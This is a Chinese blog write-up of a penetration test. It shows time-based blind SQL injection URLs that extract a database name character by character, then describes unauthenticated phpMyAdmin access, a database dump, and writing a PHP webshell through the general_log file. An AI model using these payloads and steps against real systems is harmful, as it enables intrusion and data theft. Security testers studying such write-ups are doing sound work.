mysql安全性案例分析_技术讨论 | 某真实渗透实践案例分析

本文通过一个真实的渗透实践案例,详细分析了如何利用SQL时间盲注技术确定数据库名称,并通过phpmyadmin的不当配置实现免登录访问,进一步探讨了如何利用phpmyadmin的日志功能获取webshell。案例展示了网络安全的重要性,呼吁大家共同维护网络安全。
摘要由CSDN通过智能技术生成

猜测xxx.xxx.22.189ip公网ip每个端口单独映射到内网系统

2.2实战开始

前期搜集的资产信息越广,我们的攻击面就越多,所以后期的成就是建立在前期的信息搜集之上。

2.2.1首先对目标进行测试发现官网存在sql时间盲注

延迟注入,是一种盲注的手法,提交对执行时间敏感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如:正确的话会导致时间很长,错误的话会导致执行时间很短,这就是所谓的高级盲注。

4dbd199a3c00c0018df9e462dd890af9.png

https://xxx.xxx.com/ListInfo/?classid=40&line=A%BF&lineid=if(now()=sysdate()%2Csleep(10)%2C0)&ph=1&station=

5eaf54d5c11ae03bb77789edfa812f5c.png

在这里用出sqlmap直接开跑发现跑不出来失败了,范围太大就精确点手工把数据库名弄出来在跑表

7ed31dd6ff973a8d1f7036220c965c3a.png

首先确认数据库名称长度

需要把判断注入点换成if(length(database())=6%2Csleep(10)%2C0),此语法是判断数据库名称长度是否等于6,如果是沉睡10秒,如果不是不沉睡。

https://xxx.xxx.com/ListInfo/?classid=40&line=A%BF&lineid= if(length(database())=6%2Csleep(10)%2C0)&ph=1&station=

0a9fae8da0520ab96f78acd06d221ea1.png

长度错误如下

45b8839767a6e8048388846d866e30a1.png

得到了数据库名长度、来猜测对应字段、就需要把if(length(database())=6换成if(ascii(substr(database(),1,1))=100,sleep(5),1)这段的意思是if判断数据库名称的第一位开始后推迟一位用ascii表示是否等于100,如果是就沉睡5秒,如果不是就不沉睡

最后判断如下:数据库名称为dt_web

d

https://xxx.xxx.com/ListInfo/?classid=40&line=1&lineid=if(ascii(substr(database(),1,1))=100,sleep(5),1)&ph=1&station=

t

https://xxx.xxx.com/ListInfo/?classid=40&line=1&lineid=if(ascii(substr(database(),2,1))=116,sleep(5),1)&ph=1&station=

_

https://xxx.xxx.com/ListInfo/?classid=40&line=1&lineid=if(ascii(substr(database(),3,1))=95,sleep(5),1)&ph=1&station=1

w

https://xxx.xxx.com/ListInfo/?classid=40&line=1&lineid=if(ascii(substr(database(),4,1))=119,sleep(5),1)&ph=1&station=

e

https://xxx.xxx.com/ListInfo/?classid=40&line=1&lineid=if(ascii(substr(database(),5,1))=101,sleep(5),1)&ph=1&station=

b

https://xxx.xxx.com/ListInfo/?classid=40&line=1&lineid=if(ascii(substr(database(),6,1))=98,sleep(5),1)&ph=1&station=

手工把数据库名称爆出来了,继续用处sqlmap跑表。

+————-+| Parametre || TIL_IDIOTON || store || verkaeufer |+————-+

d76e416906d53ae1743f0851460190fd.png

Sqlmap跑出来四张表、按个对每张表进行字段猜解、跑了一段时间、没出结果。只能手工猜解了、但是猜字段这步骤手工验证需要花费时间非常多、这个sql注入就到这里结束了。

2.2.2接下来又在上图找到的xxx.xxx.22.189:10037网站上发现phpmyadmin网站。该网站问题由于开发者不适当的配置,让我免登录直接进入phpmyadmin内部。

b4440eeb080bbcaeac080557a5087e23.png

既然phpMyAdmin成功进入、那么就可以随意查看数据库信息、篡改信息、增加信息、删除信息、脱库等一些敏感操作。

df967ce8d10b35fcd3a8f41dc68a2758.png

ebe8bdf80241dc387a4753319c4204cc.png

通过上图可以看到、用户密码处、似乎采用了linux用户密码同样加密的手法。

2.2.3知道了phpmyadmin版本信息,借助phpmyadmin日志getshell

1)将general_log打开

1adac36105a197b2f670aa28ab7eaa57.png

71b19c8d54ab008399f183346923bfeb.png

2)将日志文件自定义

问题来了我不知道网站路径是哪个?只知道是D:\MYOA\目录如何自定义路径?

我这边用到的方法是、把数据库脱下来、在一条条匹配信息。

5eeae3234a5a27bca8032c8094160e0e.png

确认网站绝对路径为D:\MYOA\webroot\

已知网站绝对路径、我们可以直接自定义日志文件。

9f3a87391e4f8fd9dc5e1f11514fe424.png

3)使用sql语句写入php一句话木马

f9859b0c91bd93137a55d46b3d16f35f.png

4)webshell工具连接

73b2789dbd2b02c08fa7f70fcd7940c9.png

5)提升权限

d255c9ed2c3c7763cac8ef746a8f24a3.png

2.3测试结果

测试发现了多个漏洞,总结如下:

39396ef4692b320d9cf92ed9cd9c32ab.png

三、总结

最后总结一句:没有网络安全,就没有国家安全!并不仅仅只是一句口号,让我们一起行动起来,为国家网络安全事业做出自己的贡献!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值